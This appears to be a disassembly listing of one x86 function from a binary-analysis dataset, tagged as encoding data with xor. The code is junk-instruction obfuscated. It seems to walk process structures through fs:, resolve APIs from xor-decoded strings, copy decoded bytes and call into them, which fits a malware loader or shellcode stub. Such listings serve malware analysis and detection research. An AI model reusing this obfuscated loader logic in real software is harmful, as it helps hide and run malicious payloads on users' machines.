Function at 0x4a3832
Capabilities:
Encode data using xor

Disassembly:
mov ecx, esi
push ecx
pop edx
mov ecx, 0x166607d0
mov eax, 0xe999f82c
xor eax, ecx
add esp, eax
mov dword [esp], edx
mov esi, edi
xchg edx, esi
mov esi, edx
xchg esi, eax
mov edx, 0x385f46e3
mov ecx, 0xc7a0b91f
xor ecx, edx
add esp, ecx
mov dword [esp], eax
mov ecx, ebx
mov edx, 0x510db55b
add edx, 0xaef24aa9
sub esp, edx
mov dword [esp], ecx
mov ecx, 0xc94a8ee
mov eax, 0x40610201
xor ecx, eax
push ecx
mov edi, 0x55325b12
add edi, 0xf7c34fe5
mov esi, dword [esp]
add esp, 4
xor edi, esi
mov edx, 0x3dee4bdd
xor edx, 0x6c04dbcf
mov esi, 0x51ea9012
xor edx, esi
xor edi, edx
mov esi, dword fs:[edi]
mov ecx, 0x7add6a76
add ecx, 0xd5e17a0a
mov ebx, 0x4877b20c
mov edi, 0xe736a95c
xor edi, ebx
xor ecx, edi
sub esi, ecx
mov eax, esi
add eax, 0
add eax, 0xffffffff
mov edi, dword [eax + 1]
mov eax, 0x236b74a7
add eax, 0x40ccd1b0
mov esi, 0x1db5913d
add esi, 0x7e122866
xor esi, eax
sub edi, esi
mov edx, edi
mov ebx, edx
mov edx, 0x5e1a1dc
xor edx, 0xfa1e5e1d
sub ebx, edx
push 0x7ccd666
mov eax, 0x7ccd667
pop edx
xor eax, edx
sub ebx, eax
mov ecx, dword [ebx - 0x3e]
mov eax, 0x55203021
mov ebx, 0x2000800e
xor eax, ebx
push eax
mov edi, 0x397816ef
add edi, 0x3ba89934
mov edx, dword [esp]
sub esp, 0xfffffffc
xor edi, edx
add ecx, edi
mov ebx, ecx
xchg ebx, edx
mov esi, edx
xchg esi, eax
mov ebx, 0
xor ebx, eax
mov edi, 4
sub esp, edi
mov dword [esp], ebx
pop eax
push 0x9e7b8fd2
mov edi, 0x6184702e
pop ecx
xor edi, ecx
add esp, edi
mov ebx, esp
mov dword [ebx], eax
mov edx, eax
mov ebx, edx
push ebx
pop esi
mov edx, 0x27
mov ebx, 0x40
xor edx, ebx
add esi, edx
mov ebx, 1
sub esi, ebx
mov edi, dword [esi - 0x66]
mov eax, 0
mov ecx, 0
xor eax, ecx
xor eax, edi
add eax, 0xfffffffd
add eax, 0xfffffff4
mov ecx, 0xffffffa9
add eax, ecx
mov ecx, 0xffffffff
add eax, ecx
mov ebx, dword [eax + 0x67]
mov eax, 0xba6101
mov ecx, 0x2c00144a
xor eax, ecx
mov ecx, 0xd3458ae1
add eax, ecx
add ebx, eax
xor edx, edx
add edx, ebx
mov edi, 0x4dacbfae
mov esi, 0x4dacbfaf
xor esi, edi
sub edx, esi
mov ecx, dword [edx + 1]
and ecx, 0xffff
xor ecx, 0x18
mov edi, ecx
xchg edx, edi
mov esi, 4
sub esp, esi
mov dword [esp], edx
pop eax
or eax, 0
jne 0x4a33a5
mov ecx, 0x140ac869
add ecx, 0x31df5478
mov eax, 0x45ea1ce5
xor ecx, eax
add ebx, ecx
mov ecx, 0
mov edi, 0
xor ecx, edi
xor ecx, ebx
mov edx, 0x56fe292d
xor edx, 0x56fe292c
sub ecx, edx
mov esi, dword [ecx + 1]
mov eax, esi
push eax
pop ebx
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], ebx
mov edx, esi
mov ecx, edx
mov ebx, 0
xor ebx, ecx
mov eax, 0x40
mov ecx, 3
xor eax, ecx
sub ebx, eax
mov eax, 1
sub ebx, eax
mov edi, dword [ebx + 0x44]
and edi, 0xff
xor edi, 0x6b
cmp edi, 0
je 0x4a3256
xor edi, 0x20
mov ebx, 4
sub esp, ebx
mov eax, esp
mov dword [eax], edi
pop edx
or edx, edx
jne 0x4a338a
pop edx
mov ecx, 0x28040922
mov eax, 0xb2e681
xor ecx, eax
mov eax, 0x254907ca
xor ecx, eax
xor ecx, 0xdffe86f
add edx, ecx
mov ecx, 0
xor ecx, edx
push ecx
pop esi
mov edi, 0x7e2eb286
xor edi, 0x7e2eb282
sub esp, edi
mov dword [esp], esi
xor ebx, ebx
add ebx, edx
mov edi, 0x8c78f1d
xor edi, 0xf73870c8
sub ebx, edi
mov esi, dword [ebx - 0x2b]
and esi, 0xff
mov ebx, 0x1d5e21c7
xor ebx, 0x26ea14a6
push ebx
mov edi, 0x79f92595
add edi, 0xc76910ec
mov eax, dword [esp]
add esp, 4
xor edi, eax
xor esi, edi
push esi
pop ecx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
and ecx, 0
or ecx, eax
and ecx, 0x7ad603ae
and esi, 0x8529fc51
or esi, ecx
mov ecx, esi
sub edi, edi
add edi, ecx
and edi, esi
je 0x4a3322
xor esi, 0x20
push 0x603d6c0
mov eax, 0x2ada9db3
pop edx
xor eax, edx
mov edx, 0x2cd94b73
xor eax, edx
xor eax, esi
and eax, eax
jne 0x4a338a
pop edi
mov esi, 0x157716c
add esi, 0xfea88e94
push 0x7ffa76c
mov eax, 0x7ffa76a
pop ecx
xor eax, ecx
xor esi, eax
add edi, esi
sub esp, 4
mov ebx, esp
mov dword [ebx], edi
pop ecx
push 0x631fa441
mov ebx, 0x631fa440
pop edx
xor ebx, edx
sub ecx, ebx
mov eax, dword [ecx + 1]
push 0x3fe1ed24
mov ebx, 0x185c05f8
pop ecx
xor ebx, ecx
mov edi, 0x278fe8ef
xor ebx, edi
xor eax, ebx
push eax
pop edi
push edi
pop ecx
xchg esi, ecx
or esi, 0
je 0x4a3408
jmp 0x4a33a5
mov ebx, esp
mov eax, 0xffffffab
sub ebx, eax
mov esi, dword [ebx - 0x55]
mov edx, 0x65aa7368
mov eax, 0x9a558c94
xor edx, eax
sub esp, edx
mov esi, esp
mov edi, esi
mov ecx, 0xffffffff
add edi, ecx
mov ebx, dword [edi + 1]
mov esi, 0x18385ac9
mov edx, 0x18385acd
xor edx, esi
add esp, edx
mov esi, 0x18b98b33
mov edx, 0x18b98b33
xor edx, esi
xor edx, ebx
mov edi, 0x30f93c2b
xor edi, 0xcf06c380
sub edx, edi
mov eax, 0x36e02fe1
mov esi, 0xc91fd01e
xor eax, esi
add edx, eax
mov ecx, dword [edx - 0x54]
mov edx, ecx
mov edi, 0x96d57fa
mov esi, 0x96d57fe
xor esi, edi
sub esp, esi
mov dword [esp], edx
jmp 0x4a3113
pop eax
mov esi, dword [eax]
mov edi, 0
xor edi, esi
mov eax, 0
xor eax, edi
mov edi, 0x316a77b8
mov edx, 0xce958843
xor edx, edi
add eax, edx
mov ebx, dword [eax + 5]
push 0x5ff46eb6
mov ecx, 0x6994881e
pop esi
xor ecx, esi
mov edx, 0x4b479934
add edx, 0x7e57800c
xor ecx, edx
sub ebx, ecx
mov edx, ebx
push edx
mov edi, dword [esp]
sub esp, 0xfffffffc
push 0x9e644dc0
mov edx, 0x619bb23f
pop esi
xor edx, esi
add edi, edx
mov ecx, dword [edi + 1]
xor edx, edx
add edx, ecx
mov esi, 4
sub esp, esi
mov edi, 0
xor edi, esp
mov dword [edi], edx
push ecx
pop edi
sub esp, 4
mov ebx, esp
mov dword [ebx], edi
mov eax, dword [esp]
mov edx, 0xfffffffc
sub esp, edx
push 0x43340d6d
mov ebx, 0x43340d61
pop edx
xor ebx, edx
mov esi, 0x714561c7
add esi, 0x8eba9e69
xor ebx, esi
add eax, ebx
mov edx, dword [eax]
mov eax, 0x62a27fa4
add eax, 0x9d5d805c
xor eax, esp
mov edi, 0x376d32c5
mov ebx, 0x376d32fb
xor ebx, edi
add eax, ebx
dec eax
mov esi, dword [eax - 0x3d]
add edx, esi
push 0xca11e412
mov ebx, 0x3ae2875d
pop eax
xor ebx, eax
push ebx
mov eax, 0x3f625b14
mov esi, 0x306ec7d3
xor esi, eax
pop edi
xor esi, edi
sub edx, esi
mov edx, dword [edx]
sub ecx, ecx
add ecx, esp
mov eax, 0x4b60d42d
mov edi, 0x4b60d474
xor edi, eax
add ecx, edi
mov eax, 1
sub ecx, eax
mov esi, dword [ecx - 0x58]
add edx, esi
mov esi, 0x10
mov eax, 0
xor esi, eax
add edx, esi
mov ecx, 0x686ce2f7
add ecx, 0x97931d19
add edx, ecx
mov eax, 0x2054e584
mov ebx, 0x94010220
xor eax, ebx
push eax
push 0x4f3c07d0
mov edi, 0x28dd653f
pop ecx
xor edi, ecx
mov ecx, 0x4338211c
xor edi, ecx
xor edi, 0x6f735bab
pop esi
xor edi, esi
add edi, edx
push edi
pop eax
xchg esi, eax
mov ecx, 0x51659d64
mov eax, 0xae9a629b
xor eax, ecx
add esi, eax
mov edi, dword [esi + 1]
push esp
pop ecx
xchg eax, ecx
mov ecx, 0x21230a38
xor ecx, 0x21230a36
sub eax, ecx
mov ecx, 1
sub eax, ecx
mov ebx, dword [eax + 0xf]
add edi, ebx
mov esi, edi
xchg eax, esi
xchg ecx, eax
push 0x55dc338f
mov eax, 0x55dc338b
pop ebx
xor eax, ebx
sub esp, eax
mov dword [esp], ecx
mov eax, 0x19161495
xor eax, 0x4505011f
push 0x3d9906d8
mov edi, 0x675b9893
pop ebx
xor edi, ebx
xor edi, eax
mov esi, 0x8000
mov ecx, 0x944
xor esi, ecx
mov eax, 0x698e9dfa
xor eax, 0x6f5f9f7b
xor esi, eax
xor esi, edi
add esi, edx
mov ecx, esi
xchg eax, ecx
push eax
pop edi
mov ebx, 0x27a192e2
xor ebx, 0xd85e6d2a
sub edi, ebx
mov esi, dword [edi - 0x38]
mov eax, dword [esp + 4]
add esi, eax
sub edi, edi
add edi, esi
mov eax, edi
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], eax
mov edi, 0x47282ed
add edi, 0xfb8d7d13
xor edi, edx
mov ecx, 1
sub edi, ecx
mov edx, dword [edi + 1]
mov ecx, dword [esp + 8]
add edx, ecx
mov edi, 0
mov ecx, 0
xor edi, ecx
xor edi, edx
mov ecx, 0x668bfe8f
xor ecx, 0x668bfe8e
sub edi, ecx
mov esi, dword [edi + 1]
mov edi, dword [esp + 8]
add esi, edi
mov ebx, 0x4548442
mov ecx, 0x60003028
xor ebx, ecx
push 0x8f5b7be6
mov edi, 0x14f03077
pop eax
xor edi, eax
xor ebx, edi
sub esi, ebx
xor ebx, ebx
add ebx, esi
push ebx
pop edi
mov ebx, 0x2305b25b
mov eax, 0x2305b25a
xor eax, ebx
sub edi, eax
mov esi, dword [edi + 1]
mov eax, 0x28304
mov edi, 0xb200041
xor eax, edi
add eax, 0xf0ddae
add eax, 0xa28be2
xor esi, eax
mov ebx, 0xc48d90
mov edi, 0x6830022a
xor ebx, edi
xor esi, ebx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], esi
pop ecx
xchg ebx, ecx
xor ebx, 0
je 0x4a373a
mov ebx, 0x341f4362
xor ebx, 0x858c6ce6
add esp, 0xfffffffc
mov dword [esp], ebx
mov esi, 0x7a652100
add esi, 0xd407af78
pop ecx
xor esi, ecx
sub edx, esi
mov ebx, 0
xor ebx, esp
dec ebx
mov edi, dword [ebx + 1]
mov ebx, 0x1762da13
add ebx, 0xe89d25f1
add esp, ebx
mov esi, 0x18601404
mov eax, 0x20088050
xor esi, eax
mov eax, 0x7e80475d
xor esi, eax
xor esi, 0x46e8d30b
add edi, esi
xor ecx, ecx
add ecx, edi
mov esi, 0xfa904cd
xor esi, 0xf056fb31
add esp, esi
mov dword [esp], ecx
jmp 0x4a362b
pop ebx
mov ecx, ebx
sub esp, 4
mov dword [esp], ecx
mov edi, dword [esp]
add esp, 4
dec edi
mov ebx, dword [edi + 1]
and ebx, 0xffff
add ebx, ebx
mov esi, ebx
add ebx, esi
pop ecx
add ecx, ebx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ecx
mov esi, dword [esp]
add esp, 4
mov edi, 0xffffffe4
add esi, edi
mov edx, 0xffffffcd
add esi, edx
mov ecx, dword [esi + 0x4f]
xor edx, edx
add edx, esp
mov eax, 0x2d
add edx, eax
add edx, 0xffffffff
mov esi, dword [edx - 0x2c]
mov edx, 0x12b15b08
xor edx, 0x12b15b0c
add esp, edx
add ecx, esi
mov ebx, 0x4bac6522
xor ebx, 0x4bac6526
sub esp, ebx
mov ebx, 0
xor ebx, esp
xor eax, eax
add eax, ebx
mov dword [eax], ecx
push 0x22a4cbc6
mov eax, 0x551f7fc6
pop ebx
xor eax, ebx
push eax
mov ebx, 0x417971cc
add ebx, 0x95
push ebx
push 0x17100724
mov edi, 0x65726e68
pop eax
xor edi, eax
push edi
mov edi, 0x64616ea7
add edi, 0xa5
push edi
mov eax, 0x594189c1
mov ebx, 0x594189c1
xor ebx, eax
xor ebx, esp
mov eax, 0x1ce3f4d4
mov edx, 0x1ce3f4d0
xor edx, eax
sub esp, edx
mov dword [esp], ebx
mov ebx, esi
xchg ebx, eax
xchg edi, eax
mov eax, 0x302dd3db
xor eax, 0x302dd3df
sub esp, eax
mov dword [esp], edi
call ecx
mov ecx, 0x6b843ddd
mov ebx, 0x5ca1cee7
xor ebx, ecx
mov edx, ebx
xor edx, 0xffffffff
and edx, 0x3725f32a
and ebx, 0xc8da0cd5
or ebx, edx
add esp, ebx
push 0x42d3673d
mov edi, 0x42d3673d
pop esi
xor edi, esi
xor edi, eax
mov ecx, 0x39c8d1ac
add ecx, 0xc6372e58
sub esp, ecx
mov dword [esp], edi
call fcn.004a3cfe
mov ecx, 0x3a640f23
mov edi, 0x3a640f23
xor edi, ecx
mov esi, 0x73a606e2
xor esi, 0x73a606e0
xor edi, esi
add ebx, edi
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ecx, ebx
push 0xe715f8e1
mov edi, 0x18ea071d
pop esi
xor edi, esi
add esp, edi
mov dword [esp], ecx
push 0x63e27710
mov ebx, 0x1b4e2d10
pop ecx
xor ebx, ecx
push ebx
mov ebx, 0x7c1ec5b4
xor ebx, 0x1f71a9d8
push ebx
push 0x74ae2df7
mov ecx, 0x35c24c82
pop edi
xor ecx, edi
push ecx
mov esi, 0x13be7ab7
xor esi, 0x67cc13e1
push esi
push 0xca326391
mov ebx, 0xad42b91
pop edx
xor ebx, edx
push ebx
push 0x62315eab
mov edi, 0x500232ce
pop ecx
xor edi, ecx
push edi
mov ebx, 0x6e726482
add ebx, 0xc9
push ebx
mov edx, dword [esp + 0x20]
mov edi, 0
xor edi, esp
mov ebx, 0
xor ebx, edi
mov esi, 0x4a91a3b2
mov ecx, 0xb56e5c4e
xor ecx, esi
add esp, ecx
mov dword [esp], ebx
call edx
mov edx, 0x27d1d6f6
add edx, 0xfe08ba09
mov ebx, 0xda256f0b
xor edx, ebx
sub esp, edx
mov ebx, esp
xchg edi, ebx
xchg edi, edx
mov ebx, 0
mov edi, 4
xor ebx, edi
sub esp, ebx
mov dword [esp], edx
mov esi, eax
xchg esi, ebx
xchg ebx, ecx
mov esi, ecx
mov edx, esi
mov ebx, edx
push ebx
mov ebx, dword [esp + 0x20]
call ebx
push 0x5ce31d82
mov ecx, 0x5ce31d8f
pop edx
xor ecx, edx
add esp, ecx
mov ebx, 0x6e64bb7b
add ebx, 0x919b4482
sub esp, ebx
push 0x6c9623c0
mov ebx, 0x6c962380
pop esi
xor ebx, esi
push ebx
push 0x26d3168
mov ecx, 0x26d2168
pop ebx
xor ecx, ebx
push ecx
mov edi, 0x17fdaf51
xor edi, 0x17ffa9e8
push edi
mov edx, 0
mov ebx, 0
xor edx, ebx
push edx
call eax
pop ebx
mov edx, eax
mov edi, edx
mov ecx, edi
mov edi, ecx
xchg edi, esi
mov ecx, 0xc286441
xor ecx, 0xc286445
sub esp, ecx
mov dword [esp], esi
mov ecx, 0x460e3ebd
add ecx, 0xb9f1c143
xor ecx, ebx
mov eax, 4
sub esp, eax
mov edi, esp
mov dword [edi], ecx
push 0x6c3d5723
mov esi, 0x11042d23
pop edi
xor esi, edi
mov ecx, 0x3ef1a131
xor ecx, 0xbc372431
xor esi, ecx
sub ebx, esi
mov esi, 0x76842c65
xor esi, 0x76862aca
push esi
mov cl, byte [ebx]
mov byte [edx], cl
mov ecx, 0x1281e4b2
add ecx, 0xa1
push ecx
mov edi, 0x48bd7025
add edi, 0xc9c4752d
mov eax, dword [esp]
sub esp, 0xfffffffc
xor edi, eax
add ebx, edi
mov ecx, 0x548040f
mov esi, 0x42822140
xor ecx, esi
mov edi, 0x16968a3c
mov eax, 0xaea3508c
xor eax, edi
xor eax, ecx
sub edx, eax
mov edi, esp
xchg edi, esi
sub esi, 1
mov eax, dword [esi + 1]
mov edi, 0x782d5dd8
mov ecx, 0x87d2a224
xor ecx, edi
sub esp, ecx
mov esi, 0x60234a04
mov ecx, 0x4080060
xor esi, ecx
mov ecx, 0x9bd4b59b
xor esi, ecx
add eax, esi
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], eax
pop ecx
mov edi, ecx
xchg edi, esi
mov edi, 4
sub esp, edi
mov dword [esp], esi
mov edi, eax
mov esi, edi
mov edi, esi
add esp, 0xfffffffc
mov dword [esp], edi
mov esi, esp
dec esi
mov ecx, dword [esi + 1]
mov esi, 4
add esp, esi
or ecx, eax
jne 0x4a3a34
pop edx
mov edx, 0x4a450800
mov edi, 0x128a601
xor edx, edi
push edx
push 0x1c643d05
mov ecx, 0x34fbb517
pop edi
xor ecx, edi
mov edi, 0xdd2fdf64
sub ecx, edi
mov edx, esp
dec edx
mov ebx, dword [edx + 1]
mov edx, 4
add esp, edx
xor ecx, ebx
mov esi, dword [esp]
mov edx, 0x39c394c2
add edx, 0xc63c6b3a
sub esp, edx
mov edi, esp
mov edx, edi
mov edi, 0xffffffff
add edx, edi
mov ebx, dword [edx + 1]
mov edi, 0x69faa2ff
mov edx, 0x69faa2fb
xor edx, edi
add esp, edx
mov edx, 0x6b81a049
add edx, 0xd3616515
mov edi, 0x10ca004
mov eax, 0xc0125c08
xor edi, eax
xor edi, edx
sub ebx, edi
mov edx, ecx
mov edi, 0x7011a0ef
add edi, 0x8fee5f15
sub esp, edi
mov dword [esp], edx
mov edx, esi
mov eax, 4
sub esp, eax
mov edi, 0
xor edi, esp
mov dword [edi], edx
xor edx, edx
add edx, ebx
mov edi, 0x4f701222
add edi, 0xb08fedda
add esp, edi
mov dword [esp], edx
sub ecx, ecx
mov cl, byte [ebx]
add esi, ecx
mov cl, byte [esi]
mov eax, esp
mov edi, eax
mov edx, 0x40
add edi, edx
mov ebx, dword [edi - 0x40]
mov edx, 0x8dacd7
add edx, 0xff72532d
add esp, edx
pop esi
mov byte [ebx], cl
mov eax, 0x66898652
mov edx, 0x2875dec1
xor edx, eax
mov eax, 0x489bc80f
mov edi, 0x667909d
xor edi, eax
xor edi, edx
sub ebx, edi
mov ecx, dword [esp]
push 0xdd8c4e3d
mov edx, 0x2273b1c1
pop eax
xor edx, eax
sub esp, edx
dec ecx
cmp ecx, 0
jne 0x4a3b64
mov ecx, 0x3e4de283
add ecx, 0x39c0ac10
mov edx, 0x780e8e92
xor ecx, edx
add ebx, ecx
mov edx, ebx
xchg edx, eax
xchg edi, eax
mov edx, 0xfffffffc
add esp, edx
mov ecx, 0
xor ecx, esp
mov dword [ecx], edi
pop edx
call edx
mov eax, 0x6c8c4b6f
xor eax, 0x6ca64bef
push 0x27ca2cd1
mov ecx, 0x249e63d0
pop edx
xor ecx, edx
xor eax, ecx
mov ecx, 0x2c13166c
xor ecx, 0x1d2b33b9
add eax, ecx
mov edx, esp
xchg ecx, edx
mov edx, 0xffffffff
add ecx, edx
mov ebx, dword [ecx + 1]
push 0x6fa1c91b
mov edx, 0x6fa1c91f
pop eax
xor edx, eax
add esp, edx
mov edx, 0x42c5ede9
mov eax, 0xb030b22
xor eax, edx
push 0x67921b51
mov ecx, 0x651794da
pop edx
xor ecx, edx
xor ecx, eax
pop edi
push 0x22012ac0
mov eax, 0x6056ed0
pop edx
xor eax, edx
mov ecx, 0x4f0b9f55
add ecx, 0x90483ad
xor eax, ecx
mov edx, 0x62304d4c
mov ecx, 0x63d36bd0
xor ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5948482a
and eax, 0xa6b7b7d5
or eax, edx
pop esi
ret